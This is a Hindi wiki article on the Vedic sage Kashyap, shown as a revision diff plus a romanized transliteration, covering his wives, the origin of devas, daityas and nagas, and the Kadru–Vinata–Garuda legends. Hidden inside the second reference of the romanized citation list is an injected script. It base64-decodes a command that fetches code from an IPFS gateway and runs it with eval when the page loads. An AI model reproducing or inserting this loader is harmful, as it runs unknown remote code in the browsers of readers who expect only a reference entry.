Difference between revisions of "कश्यप"

भारत डिस्कवरी प्रस्तुति
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'''कश्यप ॠषि'''<br />
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'''कश्यप''' नाम के कई ऋषि हुए हैं जिनमें से एक की गणना प्रजापतियों में होती है। इस ऋषि ने [[दक्ष]] की [[दिति]], [[अदिति]], [[दनु]] आदि नाम की ग्यारह कन्याओं से [[विवाह]] किया था। अदिति के गर्भ से [[देवता]] उत्पन्न हुए। दिति ने दैत्यों को और दनु ने दानवों को जन्म दिया। कश्यप एक गोत्र का नाम भी है। यह गोत्र इतना व्यापक है कि जिसके गोत्र का पता नहीं चलता, उसका गोत्र कश्यप मान लिया जाता है क्योंकि सभी जीव-धारियों की उत्पत्ति कश्यप से ही मानी जाती है।<ref>पुस्तक- भारतीय संस्कृति कोश | प्रकाशन- यूनिवर्सिटी पब्लिकेशन नई दिल्ली | पृष्ठ- 191</ref>
 
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==पौराणिक उल्लेख==       
*प्राचीन वैदिक ॠषियों में प्रमुख ॠषि, जिनका उल्लेख एक बार [[ॠग्वेद]] में हुआ है। अन्य संहिताओं में भी यह नाम बहुप्रयुक्त है। इन्हें सर्वदा धार्मिक एंव रह्स्यात्मक चरित्र वाला बतलाया गया है एंव अति प्राचीन कहा गया है।  
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*प्राचीन वैदिक ॠषियों में प्रमुख ॠषि, जिनका उल्लेख एक बार [[ऋग्वेद]] में हुआ है। अन्य संहिताओं में भी यह नाम बहुप्रयुक्त है। इन्हें सर्वदा धार्मिक एवं रह्स्यात्मक चरित्र वाला बतलाया गया है एवं अति प्राचीन कहा गया है।  
 
*[[ऐतरेय ब्राह्मण]] के अनुसार उन्होंने 'विश्वकर्मभौवन' नामक राजा का [[अभिषेक]] कराया था। ऐतरेय ब्राह्मणों ने कश्यपों का सम्बन्ध [[जनमेजय]] से बताया गया है।  
 
*[[ऐतरेय ब्राह्मण]] के अनुसार उन्होंने 'विश्वकर्मभौवन' नामक राजा का [[अभिषेक]] कराया था। ऐतरेय ब्राह्मणों ने कश्यपों का सम्बन्ध [[जनमेजय]] से बताया गया है।  
 
*[[शतपथ ब्राह्मण]] में [[प्रजापति]] को कश्यप कहा गया हैः<br />  
 
*[[शतपथ ब्राह्मण]] में [[प्रजापति]] को कश्यप कहा गया हैः<br />  
 
"स यत्कुर्मो नाम। प्रजापतिः प्रजा असृजत। <br />
 
"स यत्कुर्मो नाम। प्रजापतिः प्रजा असृजत। <br />
 
यदसृजत् अकरोत् तद् यदकरोत् तस्मात् कूर्मः कश्यपो वै कूर्म्स्तस्मादाहुः सर्वाः प्रजाः कश्यपः।"<br />  
 
यदसृजत् अकरोत् तद् यदकरोत् तस्मात् कूर्मः कश्यपो वै कूर्म्स्तस्मादाहुः सर्वाः प्रजाः कश्यपः।"<br />  
*[[महाभारत]] एवं [[पुराण|पुराणों]] में असुरों की उत्पत्ति एवं वंशावली के वर्णन में कहा गया है की [[ब्रह्मा]] के छः मानस पुत्रों में से एक '[[मरीचि]]' थे जिन्होंने अपनी इच्छा से कश्यप नामक प्रजापति पुत्र उत्पन्न किया।  
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*[[महाभारत]] एवं [[पुराण|पुराणों]] में असुरों की उत्पत्ति एवं वंशावली के वर्णन में कहा गया है की [[ब्रह्मा]] के छह मानस पुत्रों में से एक '[[मरीचि]]' थे जिन्होंने अपनी इच्छा से कश्यप नामक प्रजापति पुत्र उत्पन्न किया।  
*कश्यप ने दक्ष प्रजापति की 17 पुत्रियों से विवाह किया। दक्ष की इन पुत्रियों से जो सन्तान उत्पन्न हुई उसका विवरण निम्नांकित है -
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*कश्यप ने दक्ष प्रजापति की 17 पुत्रियों से [[विवाह]] किया। दक्ष की इन पुत्रियों से जो सन्तान उत्पन्न हुई उसका विवरण निम्नांकित है -
 
#[[अदिति]] से [[आदित्य देवता|आदित्य]] (देवता)
 
#[[अदिति]] से [[आदित्य देवता|आदित्य]] (देवता)
 
#[[दिति]] से दैत्य  
 
#[[दिति]] से दैत्य  
#दनु से दानव  
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#[[दनु]] से दानव  
 
#काष्ठा से अश्व आदि
 
#काष्ठा से अश्व आदि
 
#अनिष्ठा से गन्धर्व  
 
#अनिष्ठा से गन्धर्व  
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#ताम्रा से श्येन-गृध्र आदि
 
#ताम्रा से श्येन-गृध्र आदि
 
#तिमि से यादोगण (जलजन्तु)  
 
#तिमि से यादोगण (जलजन्तु)  
#विनता से [[गरुड़]] और [[अरुण देवता|अरुण]]  
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#[[विनता]] से [[गरुड़]] और [[अरुण देवता|अरुण]]  
#कद्रु से नाग  
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#[[कद्रु]] से [[नाग]]
 
#पतंगी से पतंग
 
#पतंगी से पतंग
 
#यामिनी से शलभ
 
#यामिनी से शलभ
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#[[दनु]]  
 
#[[दनु]]  
 
#[[विनता]]  
 
#[[विनता]]  
#[[खसा]]
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#खसा
 
#कद्रु  
 
#कद्रु  
 
#[[मुनि (कश्यप की पत्नी)|मुनि]]  
 
#[[मुनि (कश्यप की पत्नी)|मुनि]]  
 
#क्रोधा  
 
#क्रोधा  
 
#रिष्टा  
 
#रिष्टा  
#[[इरा]]
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#इरा  
 
#ताम्रा
 
#ताम्रा
 
#[[इला]]  
 
#[[इला]]  
#[[प्रधा]]।
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#प्रधा।
 
*इन्हीं से सब सृष्टि हुई।
 
*इन्हीं से सब सृष्टि हुई।
*कश्यप एक गोत्र का भी नाम है। यह बहुत व्यापक  गोत्र है। जिसका गोत्र नहीं मिलता उसके लिए कश्यप गोत्र की कल्पना कर ली जाती है, क्योंकि एक परम्परा के अनुसार सभी जीवधारियों की उत्पत्ति कश्यप से हुई।  
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*कश्यप एक [[गोत्र]] का भी नाम है। यह बहुत व्यापक  गोत्र है। जिसका गोत्र नहीं मिलता उसके लिए कश्यप गोत्र की कल्पना कर ली जाती है, क्योंकि एक परम्परा के अनुसार सभी जीवधारियों की उत्पत्ति कश्यप से हुई।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दू धर्मकोश|लेखक= डॉ राजबली पाण्डेय|अनुवादक= |आलोचक= |प्रकाशक=उत्तर प्रदेश हिन्दी संस्थान|संकलन=भारत डिस्कवरी पुस्तकालय|संपादन=|पृष्ठ संख्या=170|url=}}</ref>
*एक बार समस्त [[पृथ्वी देवी|पृथ्वी]] पर विजय प्राप्त कर [[परशुराम]] ने वह कश्यप मुनि को दान कर दी। कश्यप मुनि ने कहा-'अब तुम मेरे देश में मत रहो।' अत: गुरु की आज्ञा का पालन करते हुए परशुराम ने रात को पृथ्वी पर न रहने का संकल्प किया। वे प्रति रात्रि में मन के समान तीव्र गमनशक्ति से महेंद्र पर्वत पर जाने लगे। <ref>बाल्मीकि रामायण, [[बाल काण्ड वा॰ रा॰|बाल कांड]], सर्ग 76, श्लोक 11-16</ref>
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*एक बार समस्त [[पृथ्वी देवी|पृथ्वी]] पर विजय प्राप्त कर [[परशुराम]] ने वह कश्यप मुनि को दान कर दी। कश्यप मुनि ने कहा-'अब तुम मेरे देश में मत रहो।' अत: गुरु की आज्ञा का पालन करते हुए परशुराम ने रात को पृथ्वी पर न रहने का संकल्प किया। वे प्रति रात्रि में मन के समान तीव्र गमनशक्ति से महेंद्र पर्वत पर जाने लगे। <ref>बाल्मीकि रामायण, [[बाल काण्ड वा. रा.|बाल कांड]], सर्ग 76, श्लोक 11-16</ref>
*[[सत युग]] में [[दक्ष]] प्रजापति की दो कन्याएं थी- [[कद्रु]] तथा विनता। उन दोनों का विवाह महर्षि कश्यप के साथ हुआ। एक बार प्रसन्न होकर कश्यप ने उन दोनों को मनचाहा वर मांगने को कहा। कद्रु ने समान पराक्रमी एक सहस्त्र नाग-पुत्र मांगे तथा विनता ने उसके पुत्रों से अधिक तेजस्वी दो पुत्र मांगे। कालांतर में दोनों को क्रमश: एक सहस्त्र, तथा दो अंडे प्राप्त हुए। 500 वर्ष बाद कद्रु के अंडों के नाग प्रकट हुए। विनता ने ईर्ष्यावश अपना एक अंडा स्वयं ही तोड़ डाला। उसमें से एक अविकसित बालक निकला जिसका ऊर्ध्वभाग बन चुका था, अधोभाग का विकास नहीं हुआ थां उसने क्रुद्ध होकर मां को 500 वर्ष तक कद्रु की दासी रहने का शाप दिया तथा कहा कि यदि दूसरा अंडा समय से पूर्व नहीं फोड़ा तो वह पूर्णविकसित बालक मां को दासित्व से मुक्त करेगा। पहला बालक [[अरुण देवता|अरुण]] बनकर आकाश में [[सूर्य देवता|सूर्य]] का सारथि बन गया तथा दूसरा बालक [[गरुड़]] बनकर आकाश में उड़ गया।  
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*[[सत युग]] में [[दक्ष]] प्रजापति की दो कन्याएं थी- [[कद्रु]] तथा विनता। उन दोनों का विवाह महर्षि कश्यप के साथ हुआ। एक बार प्रसन्न होकर कश्यप ने उन दोनों को मनचाहा वर मांगने को कहा। कद्रु ने समान पराक्रमी एक सहस्त्र नाग-पुत्र मांगे तथा विनता ने उसके पुत्रों से अधिक तेजस्वी दो पुत्र मांगे। कालांतर में दोनों को क्रमश: एक सहस्त्र, तथा दो अंडे प्राप्त हुए। 500 वर्ष बाद कद्रु के अंडों के नाग प्रकट हुए। विनता ने ईर्ष्यावश अपना एक अंडा स्वयं ही तोड़ डाला। उसमें से एक अविकसित बालक निकला जिसका ऊर्ध्वभाग बन चुका था, अधोभाग का विकास नहीं हुआ थां उसने क्रुद्ध होकर माँ को 500 वर्ष तक कद्रु की दासी रहने का शाप दिया तथा कहा कि यदि दूसरा अंडा समय से पूर्व नहीं फोड़ा तो वह पूर्णविकसित बालक माँ को दासित्व से मुक्त करेगा। पहला बालक [[अरुण देवता|अरुण]] बनकर आकाश में [[सूर्य देवता|सूर्य]] का सारथि बन गया तथा दूसरा बालक [[गरुड़]] बनकर आकाश में उड़ गया।  
*विनता तथा कद्रु एक बार कहीं बाहर घूमने गयीं। वहां उच्चैश्रवा नामक घोड़े को देखकर दोनों की शर्त लग गयी कि जो उसका रंग ग़लत बतायेगी, वह दूसरी की दासी बनेगी। अगले दिन घोड़े का रंग देखने की बात रही। विनता ने उसका रंग सफेद बताया था तथा कद्रु ने उसका रंग सफेद, पर पूंछ का रंग काला बताया था। कद्रु के मन में कपट था। उसने घर जाते ही अपने पुत्रों को उसकी पूंछ पर लिपटकर काले बालों का रूप धारण करने का आदेश दिया जिससे वह विजयी हो जाय। जिन सर्पों ने उसका आदेश नहीं माना, उन्हें उसने शाप दिया कि वे [[जनमेजय]] के यज्ञ में भस्म हो जायें। इस शाप का अनुमोदन करते हुए [[ब्रह्मा]] ने कश्यप को बुलाया और कहा-'तुमसे उत्पन्न सर्पों की संख्या बहुत बढ़ गयी है। तुम्हारी पत्नी ने उन्हें शाप देकर अच्छा ही किया, अत: तुम उससे रुष्ट मत होना।' ऐसा कहकर ब्रह्मा ने कश्यप को सर्पों का विष उतारने की विद्या प्रदान की। विनता तथा कद्रु जब उच्चैश्रवा को देखने अगले दिन गयीं तब उसकी पूंछ काले नागों से ढकी रहने के कारण काली जान पड़ रही थी। विनता अत्यंत दुखी हुई तथा उसने कद्रु की दासी का स्थान ग्रहण किया। <ref>महाभारत, [[आदि पर्व महाभारत|आदिपर्व]], अध्याय 16, 20 । अ0 23 श्लोक 1 से 3 तक  भा0 2।11।12।–</ref>
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*विनता तथा कद्रु एक बार कहीं बाहर घूमने गयीं। वहां उच्चैश्रवा नामक घोड़े को देखकर दोनों की शर्त लग गयी कि जो उसका रंग ग़लत बतायेगी, वह दूसरी की दासी बनेगी। अगले दिन घोड़े का रंग देखने की बात रही। विनता ने उसका रंग सफ़ेद बताया था तथा कद्रु ने उसका रंग सफ़ेद, पर पूंछ का रंग काला बताया था। [[कद्रु]] के मन में कपट था। उसने घर जाते ही अपने पुत्रों को उसकी पूंछ पर लिपटकर काले बालों का रूप धारण करने का आदेश दिया जिससे वह विजयी हो जाय। जिन सर्पों ने उसका आदेश नहीं माना, उन्हें उसने शाप दिया कि वे [[जनमेजय]] के यज्ञ में भस्म हो जायें। इस शाप का अनुमोदन करते हुए [[ब्रह्मा]] ने कश्यप को बुलाया और कहा-'तुमसे उत्पन्न सर्पों की संख्या बहुत बढ़ गयी है। तुम्हारी पत्नी ने उन्हें शाप देकर अच्छा ही किया, अत: तुम उससे रुष्ट मत होना।' ऐसा कहकर ब्रह्मा ने कश्यप को सर्पों का विष उतारने की विद्या प्रदान की। विनता तथा कद्रु जब उच्चैश्रवा को देखने अगले दिन गयीं तब उसकी पूंछ काले नागों से ढकी रहने के कारण काली जान पड़ रही थी। विनता अत्यंत दुखी हुई तथा उसने कद्रु की दासी का स्थान ग्रहण किया। <ref>महाभारत, [[आदि पर्व महाभारत|आदिपर्व]], अध्याय 16, 20 । अ0 23 श्लोक 1 से 3 तक  भा0 2।11।12।–</ref>
*[[गरुड़]] ने सर्पों से पूछा कि कौन-सा ऐसा कार्य है जिसको करने से उसकी माता को दासित्व से छुटकारा मिल जायेगा? उसके नाग भाइयों ने अमृत लाकर देने के लिए कहा। गरुड़ ने अमृत की खोज में प्रस्थान किया। उसको समस्त [[देवता|देवताओं]] से युद्ध करना पड़ा। सबसे अधिक शक्तिशाली होने के कारण गरुड़ ने सभी को परास्त कर दिया। तदनंतर वे अमृत के पास पहुंचा। अत्यंत सूक्ष्म रूप धारण करके वह अमृतघट के पास निरंतर चलने वाले चक्र को पार कर गया। वहां दो सर्प पहरा दे रहे थे। उन दोनों को मारकर वह अमृतघट उठाकर ले उड़ा। उसने स्वयं अमृत का पान नहीं किया था, यह देखकर [[विष्णु]] ने उसके निर्लिप्त भाव पर प्रसन्न होकर उसे वरदान दिया कि कह बिना अमृत पीये भी अजर-अमर होगा तथा विष्णु-ध्वजा पर उसका स्थान रहेगा। गरुड़ ने विष्णु का वाहन बनना भी स्वीकार किया। मार्ग में [[इन्द्र]] मिले। इन्द्र ने उससे अमृत-कलश मांगा और कहा कि यदि सर्पों ने इसका पान कर लिया तो अत्यधिक अहित होगा। गरुड़ ने इन्द्र को बताया कि वह किसी उद्देश्य से अमृत ले जा रहा है। जब वह अमृत-कलश कहीं रख दे, इन्द्र उसे ले ले। इन्द्र ने प्रसन्न होकर गरुड़ को वरदान दिया कि सर्प उसकी भोजन सामग्री होंगे। तदनंतर गरुड़ अपनी मां के पास पहुंचा। उसने सर्पों को सूचना दी कि वह अमृत ले आया है। सर्प विनता को दासित्व से मुक्त कर दें तथा स्नान कर लें। उसने कुशासन पर अमृत-कलश रख दियां जब तक सर्प स्नान करके लौटे, इन्द्र ने अमृत चुरा लिया था। सर्पों ने कुशा को ही चाटा जिससे उनकी जीभ के दो भाग हो गए, अत: वे द्विजिव्ह कहलाने लगे <ref>महाभारत, आदिपर्व, अध्याय 28, अ0 29 श्लोक 1 से 14 तक, अ0 30, श्लोक 32 से 52 तक अध्याय 32, 33, 34</ref>।
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*[[गरुड़]] ने सर्पों से पूछा कि कौन-सा ऐसा कार्य है जिसको करने से उसकी माता को दासित्व से छुटकारा मिल जायेगा? उसके नाग भाइयों ने अमृत लाकर देने के लिए कहा। गरुड़ ने अमृत की खोज में प्रस्थान किया। उसको समस्त [[देवता|देवताओं]] से युद्ध करना पड़ा। सबसे अधिक शक्तिशाली होने के कारण गरुड़ ने सभी को परास्त कर दिया। तदनंतर वे अमृत के पास पहुंचा। अत्यंत सूक्ष्म रूप धारण करके वह अमृतघट के पास निरंतर चलने वाले चक्र को पार कर गया। वहां दो सर्प पहरा दे रहे थे। उन दोनों को मारकर वह अमृतघट उठाकर ले उड़ा। उसने स्वयं अमृत का पान नहीं किया था, यह देखकर [[विष्णु]] ने उसके निर्लिप्त भाव पर प्रसन्न होकर उसे वरदान दिया कि कह बिना अमृत पीये भी अजर-अमर होगा तथा विष्णु-ध्वजा पर उसका स्थान रहेगा। गरुड़ ने विष्णु का वाहन बनना भी स्वीकार किया। मार्ग में [[इन्द्र]] मिले। इन्द्र ने उससे अमृत-कलश मांगा और कहा कि यदि सर्पों ने इसका पान कर लिया तो अत्यधिक अहित होगा। गरुड़ ने इन्द्र को बताया कि वह किसी उद्देश्य से अमृत ले जा रहा है। जब वह अमृत-कलश कहीं रख दे, इन्द्र उसे ले ले। इन्द्र ने प्रसन्न होकर गरुड़ को वरदान दिया कि सर्प उसकी भोजन सामग्री होंगे। तदनंतर गरुड़ अपनी माँ के पास पहुंचा। उसने सर्पों को सूचना दी कि वह अमृत ले आया है। सर्प विनता को दासित्व से मुक्त कर दें तथा स्नान कर लें। उसने कुशासन पर अमृत-कलश रख दियां जब तक सर्प स्नान करके लौटे, इन्द्र ने अमृत चुरा लिया था। सर्पों ने कुशा को ही चाटा जिससे उनकी जीभ के दो भाग हो गए, अत: वे द्विजिव्ह कहलाने लगे <ref>महाभारत, आदिपर्व, अध्याय 28, अ0 29 श्लोक 1 से 14 तक, अ0 30, श्लोक 32 से 52 तक अध्याय 32, 33, 34</ref>।
*[[इन्द्र]] को बालखिल्य महर्षियों से बहुत ईर्ष्या थी। रुष्ट होकर बालखिल्य ने अपनी तपस्या का भाग कश्यप मुनि को दिया तथा इन्द्र का मद नष्ट करने के लिए कहा। कश्यप ने सुपर्णा तथा कद्रु से विवाह किया। दोनों के गर्भिणी होने पर वे उन्हें सदाचार से घर में ही रहने के लिए कहकर अन्यत्र चले गये। उनके जाने के बाद दोनों पत्नियां ऋषियों के यज्ञों में जाने लगीं। वे दोनों ऋषियों के मना करने पर भी हविष्य को दूषित कर देती थीं। अत: उनके शाप से वे नदियां (अपगा) बन गयीं। लौटने पर कश्यप को ज्ञात हुआ। ऋषियों के कहने से उन्होंने शिवाराधना की। [[शिव]] के प्रसन्न होने पर उन्हें आशीर्वाद मिला कि दोनों नदियां [[गंगा नदी|गंगा]] से मिलकर पुन: नारी-रूप धारण करेंगी। ऐसा ही होने पर प्रजापति कश्यप ने दोनों का सीमांतोन्नयन [[संस्कार]] किया। यज्ञ के समय कद्रु ने एक आंख से संकेत द्वारा ऋषियों का उपहास किया। अत: उनके शाप से वह कानी हो गयी। कश्यप ने पुन: ऋषियों को किसी प्रकार प्रसन्न किया। उनके कथनानुसार गंगा स्नान से उसने पुन: पुर्वरूप धारण किया। <ref>ब्रह्म पुराण, 100 ।-</ref>
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*[[इन्द्र]] को [[बालखिल्य]] महर्षियों से बहुत ईर्ष्या थी। रुष्ट होकर बालखिल्य ने अपनी तपस्या का भाग कश्यप मुनि को दिया तथा इन्द्र का मद नष्ट करने के लिए कहा। कश्यप ने सुपर्णा तथा [[कद्रु]] से विवाह किया। दोनों के गर्भिणी होने पर वे उन्हें सदाचार से घर में ही रहने के लिए कहकर अन्यत्र चले गये। उनके जाने के बाद दोनों पत्नियां ऋषियों के यज्ञों में जाने लगीं। वे दोनों ऋषियों के मना करने पर भी हविष्य को दूषित कर देती थीं। अत: उनके शाप से वे नदियां (अपगा) बन गयीं। लौटने पर कश्यप को ज्ञात हुआ। ऋषियों के कहने से उन्होंने शिवाराधना की। [[शिव]] के प्रसन्न होने पर उन्हें आशीर्वाद मिला कि दोनों नदियां [[गंगा नदी|गंगा]] से मिलकर पुन: नारी-रूप धारण करेंगी। ऐसा ही होने पर प्रजापति कश्यप ने दोनों का सीमांतोन्नयन [[संस्कार]] किया। यज्ञ के समय कद्रु ने एक आंख से संकेत द्वारा ऋषियों का उपहास किया। अत: उनके शाप से वह कानी हो गयी। कश्यप ने पुन: ऋषियों को किसी प्रकार प्रसन्न किया। उनके कथनानुसार गंगा स्नान से उसने पुन: पुर्वरूप धारण किया। <ref>ब्रह्म पुराण, 100।-</ref>
  
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{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
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==संबंधित लेख==
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{{ऋषि मुनि2}}{{ऋषि मुनि}}{{पौराणिक चरित्र}}
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[[Category:पौराणिक चरित्र]]
 
[[Category: पौराणिक कोश]]
 
[[Category: पौराणिक कोश]]
[[Category:ॠषि मुनि]]
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[[Category:ऋषि मुनि]][[Category:संस्कृत साहित्यकार]]
 
[[Category:प्रसिद्ध चरित्र और मिथक कोश]]
 
[[Category:प्रसिद्ध चरित्र और मिथक कोश]]
 
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==सम्बंधित लिंक==
 
{{ॠषि-मुनि2}}
 
{{ॠषि-मुनि}}
 
 
 
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Latest revision as of 10:59, 9 February 2021

kashyap nam ke kee rrishi hue haian jinamean se ek ki ganana prajapatiyoan mean hoti hai. is rrishi ne daksh ki diti, aditi, danu adi nam ki gyarah kanyaoan se vivah kiya tha. aditi ke garbh se devata utpann hue. diti ne daityoan ko aur danu ne danavoan ko janm diya. kashyap ek gotr ka nam bhi hai. yah gotr itana vyapak hai ki jisake gotr ka pata nahian chalata, usaka gotr kashyap man liya jata hai kyoanki sabhi jiv-dhariyoan ki utpatti kashyap se hi mani jati hai.[1]

pauranik ullekh

  • prachin vaidik rrishiyoan mean pramukh rrishi, jinaka ullekh ek bar rrigved mean hua hai. any sanhitaoan mean bhi yah nam bahuprayukt hai. inhean sarvada dharmik evan rahsyatmak charitr vala batalaya gaya hai evan ati prachin kaha gaya hai.
  • aitarey brahman ke anusar unhoanne 'vishvakarmabhauvan' namak raja ka abhishek karaya tha. aitarey brahmanoan ne kashyapoan ka sambandh janamejay se bataya gaya hai.
  • shatapath brahman mean prajapati ko kashyap kaha gaya haiah

"s yatkurmo nam. prajapatiah praja asrijat.
yadasrijath akaroth tadh yadakaroth tasmath koormah kashyapo vai koormstasmadahuah sarvaah prajaah kashyapah."

  • mahabharat evan puranoan mean asuroan ki utpatti evan vanshavali ke varnan mean kaha gaya hai ki brahma ke chhah manas putroan mean se ek 'marichi' the jinhoanne apani ichchha se kashyap namak prajapati putr utpann kiya.
  • kashyap ne daksh prajapati ki 17 putriyoan se vivah kiya. daksh ki in putriyoan se jo santan utpann huee usaka vivaran nimnaankit hai -
  1. aditi se adity (devata)
  2. diti se daity
  3. danu se danav
  4. kashtha se ashv adi
  5. anishtha se gandharv
  6. surasa se rakshas
  7. ila se vriksh
  8. muni se apsaragan
  9. krodhavasha se sarp
  10. surabhi se gau aur mahish
  11. sarama se shvapad (hianstr pashu)
  12. tamra se shyen-gridhr adi
  13. timi se yadogan (jalajantu)
  14. vinata se garu d aur arun
  15. kadru se nag
  16. patangi se patang
  17. yamini se shalabh
  1. diti
  2. aditi
  3. danu
  4. vinata
  5. khasa
  6. kadru
  7. muni
  8. krodha
  9. rishta
  10. ira
  11. tamra
  12. ila
  13. pradha.
  • inhian se sab srishti huee.
  • kashyap ek gotr ka bhi nam hai. yah bahut vyapak gotr hai. jisaka gotr nahian milata usake lie kashyap gotr ki kalpana kar li jati hai, kyoanki ek parampara ke anusar sabhi jivadhariyoan ki utpatti kashyap se huee.[2]
  • ek bar samast prithvi par vijay prapt kar parashuram ne vah kashyap muni ko dan kar di. kashyap muni ne kaha-'ab tum mere desh mean mat raho.' at: guru ki ajna ka palan karate hue parashuram ne rat ko prithvi par n rahane ka sankalp kiya. ve prati ratri mean man ke saman tivr gamanashakti se maheandr parvat par jane lage. [3]
  • sat yug mean daksh prajapati ki do kanyaean thi- kadru tatha vinata. un donoan ka vivah maharshi kashyap ke sath hua. ek bar prasann hokar kashyap ne un donoan ko manachaha var maangane ko kaha. kadru ne saman parakrami ek sahastr nag-putr maange tatha vinata ne usake putroan se adhik tejasvi do putr maange. kalaantar mean donoan ko kramash: ek sahastr, tatha do aande prapt hue. 500 varsh bad kadru ke aandoan ke nag prakat hue. vinata ne eershyavash apana ek aanda svayan hi to d dala. usamean se ek avikasit balak nikala jisaka oordhvabhag ban chuka tha, adhobhag ka vikas nahian hua thaan usane kruddh hokar maan ko 500 varsh tak kadru ki dasi rahane ka shap diya tatha kaha ki yadi doosara aanda samay se poorv nahian pho da to vah poornavikasit balak maan ko dasitv se mukt karega. pahala balak arun banakar akash mean soory ka sarathi ban gaya tatha doosara balak garu d banakar akash mean u d gaya.
  • vinata tatha kadru ek bar kahian bahar ghoomane gayian. vahaan uchchaishrava namak gho de ko dekhakar donoan ki shart lag gayi ki jo usaka rang galat batayegi, vah doosari ki dasi banegi. agale din gho de ka rang dekhane ki bat rahi. vinata ne usaka rang safed bataya tha tatha kadru ne usaka rang safed, par pooanchh ka rang kala bataya tha. kadru ke man mean kapat tha. usane ghar jate hi apane putroan ko usaki pooanchh par lipatakar kale baloan ka roop dharan karane ka adesh diya jisase vah vijayi ho jay. jin sarpoan ne usaka adesh nahian mana, unhean usane shap diya ki ve janamejay ke yajn mean bhasm ho jayean. is shap ka anumodan karate hue brahma ne kashyap ko bulaya aur kaha-'tumase utpann sarpoan ki sankhya bahut badh gayi hai. tumhari patni ne unhean shap dekar achchha hi kiya, at: tum usase rusht mat hona.' aisa kahakar brahma ne kashyap ko sarpoan ka vish utarane ki vidya pradan ki. vinata tatha kadru jab uchchaishrava ko dekhane agale din gayian tab usaki pooanchh kale nagoan se dhaki rahane ke karan kali jan p d rahi thi. vinata atyant dukhi huee tatha usane kadru ki dasi ka sthan grahan kiya. [4]
  • garu d ne sarpoan se poochha ki kaun-sa aisa kary hai jisako karane se usaki mata ko dasitv se chhutakara mil jayega? usake nag bhaiyoan ne amrit lakar dene ke lie kaha. garu d ne amrit ki khoj mean prasthan kiya. usako samast devataoan se yuddh karana p da. sabase adhik shaktishali hone ke karan garu d ne sabhi ko parast kar diya. tadanantar ve amrit ke pas pahuancha. atyant sookshm roop dharan karake vah amritaghat ke pas nirantar chalane vale chakr ko par kar gaya. vahaan do sarp pahara de rahe the. un donoan ko marakar vah amritaghat uthakar le u da. usane svayan amrit ka pan nahian kiya tha, yah dekhakar vishnu ne usake nirlipt bhav par prasann hokar use varadan diya ki kah bina amrit piye bhi ajar-amar hoga tatha vishnu-dhvaja par usaka sthan rahega. garu d ne vishnu ka vahan banana bhi svikar kiya. marg mean indr mile. indr ne usase amrit-kalash maanga aur kaha ki yadi sarpoan ne isaka pan kar liya to atyadhik ahit hoga. garu d ne indr ko bataya ki vah kisi uddeshy se amrit le ja raha hai. jab vah amrit-kalash kahian rakh de, indr use le le. indr ne prasann hokar garu d ko varadan diya ki sarp usaki bhojan samagri hoange. tadanantar garu d apani maan ke pas pahuancha. usane sarpoan ko soochana di ki vah amrit le aya hai. sarp vinata ko dasitv se mukt kar dean tatha snan kar lean. usane kushasan par amrit-kalash rakh diyaan jab tak sarp snan karake laute, indr ne amrit chura liya tha. sarpoan ne kusha ko hi chata jisase unaki jibh ke do bhag ho ge, at: ve dvijivh kahalane lage [5].
  • indr ko balakhily maharshiyoan se bahut eershya thi. rusht hokar balakhily ne apani tapasya ka bhag kashyap muni ko diya tatha indr ka mad nasht karane ke lie kaha. kashyap ne suparna tatha kadru se vivah kiya. donoan ke garbhini hone par ve unhean sadachar se ghar mean hi rahane ke lie kahakar anyatr chale gaye. unake jane ke bad donoan patniyaan rrishiyoan ke yajnoan mean jane lagian. ve donoan rrishiyoan ke mana karane par bhi havishy ko dooshit kar deti thian. at: unake shap se ve nadiyaan (apaga) ban gayian. lautane par kashyap ko jnat hua. rrishiyoan ke kahane se unhoanne shivaradhana ki. shiv ke prasann hone par unhean ashirvad mila ki donoan nadiyaan ganga se milakar pun: nari-roop dharan kareangi. aisa hi hone par prajapati kashyap ne donoan ka simaantonnayan sanskar kiya. yajn ke samay kadru ne ek aankh se sanket dvara rrishiyoan ka upahas kiya. at: unake shap se vah kani ho gayi. kashyap ne pun: rrishiyoan ko kisi prakar prasann kiya. unake kathananusar ganga snan se usane pun: purvaroop dharan kiya. [6]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. pustak- bharatiy sanskriti kosh | prakashan- yoonivarsiti pablikeshan nee dilli | prishth- 191
  2. hindoo dharmakosh |lekhak: d aau rajabali pandey |prakashak: uttar pradesh hindi sansthan |sankalan: bharat diskavari pustakalay |prishth sankhya: 170 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. balmiki ramayan, bal kaand, sarg 76, shlok 11-16
  4. mahabharat, adiparv, adhyay 16, 20 . a0 23 shlok 1 se 3 tak bha0 2.11.12.–
  5. mahabharat, adiparv, adhyay 28, a0 29 shlok 1 se 14 tak, a0 30, shlok 32 se 52 tak adhyay 32, 33, 34
  6. brahm puran, 100.-

sanbandhit lekh

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